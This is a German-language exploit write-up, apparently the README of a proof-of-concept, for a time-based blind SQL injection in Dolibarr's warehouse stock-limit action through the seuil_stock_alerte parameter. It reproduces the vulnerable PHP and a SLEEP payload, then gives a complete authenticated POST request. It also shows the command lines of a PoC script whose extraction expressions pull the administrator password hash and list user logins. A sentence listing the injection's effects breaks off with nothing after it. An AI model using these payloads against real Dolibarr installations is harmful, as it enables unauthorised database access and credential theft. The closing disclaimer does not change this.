Die Aktion, die für das Festlegen des lagerbezogenen Bestandswarnschwellenwerts (`seuil_stock_alerte`) verantwortlich ist, akzeptiert benutzergesteuerte Eingaben und bindet diese später ohne ordnungsgemäße numerische Umwandlung oder Parameterbindung in eine SQL-Abfrage ein. #dolibarr #exploit
SQL-Injection, die die Produktbestandsverwaltungsfunktion über den Parameter
seuil_stock_alerte betrifft.
Getestet und bestätigt auf:
seuil_stock_alerte
Der Parameter wird akzeptiert von:
/product/stock/product.php
unter Verwendung der Aktion addlimitstockwarehouse.
Der Parameter wird ohne numerische Konvertierung abgerufen:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
Anschließend erreicht er eine SQL-Anweisung durch direkte String-Verkettung:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
Da der Wert in einen nicht in Anführungszeichen gesetzten numerischen Kontext eingefügt wird, kann anstelle eines regulären numerischen Werts ein SQL-Ausdruck angegeben werden.
Ein boolescher/zeitbasierter Ausdruck reicht aus, um die Ausführung zu demonstrieren:
(SELECT IF((1=1),SLEEP(15),0))
Beispielparameter:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Eine erfolgreiche Anfrage erzeugt eine HTTP-Antwortverzögerung von etwa 15 Sekunden, was die Auswertung des injizierten SQL-Ausdrucks bestätigt.
Die verwundbare Aktion kann mit einer authentifizierten Anfrage ähnlich der folgenden erreicht werden:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Voraussetzungen:
Das Problem wurde mit einem authentifizierten Konto reproduziert, das nur über die folgende Berechtigung verfügte:
Product → Create (produit/creer)
— ein Konto mit geringen Rechten, das Produkte erstellen kann.
Die SQL-Injection ermöglicht:
Datenbankseitige Einschränkungen auf diesem System verhinderten die direkte Ausführung von OS-Befehlen.
Das begleitende PoC-Skript stock_sqli_poc.py automatisiert den Ausnutzungsprozess:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| Option | Standard | Beschreibung |
|---|---|---|
--url | http://127.0.0.1:8088 | URL der Ziel-Dolibarr-Instanz |
--proxy | http://127.0.0.1:8080 | HTTP-Proxy (Burp, etc.). Auf leere Zeichenkette setzen zum Deaktivieren |
--login | webeditor | Benutzername für Konto mit geringen Rechten |
--password | WebEdit0r! | Kontopasswort |
--product-id | 1 | Anzuvisierende Produkt-ID |
--warehouse-id | 1 | Anzuvisierende Lager-ID |
--delay | 1.0 | SLEEP-Dauer in Sekunden für zeitbasierte Erkennung |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | SQL-Ausdruck zum Exfiltrieren |
--length | 14 | Maximale Zeichenlänge zum Extrahieren |
Admin-Passwort-Hash extrahieren:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
Benutzer aufzählen:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
Datenbankversion:
--extract "VERSION()"
Aktueller Datenbankbenutzer:
--extract "USER()"
⚠️ Rechtlicher Hinweis: Verwenden Sie diesen Exploit nur gegen Systeme, für die Sie eine ausdrückliche schriftliche Genehmigung besitzen. Unbefugter Zugriff auf Computersysteme ist illegal. Diese PoC wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.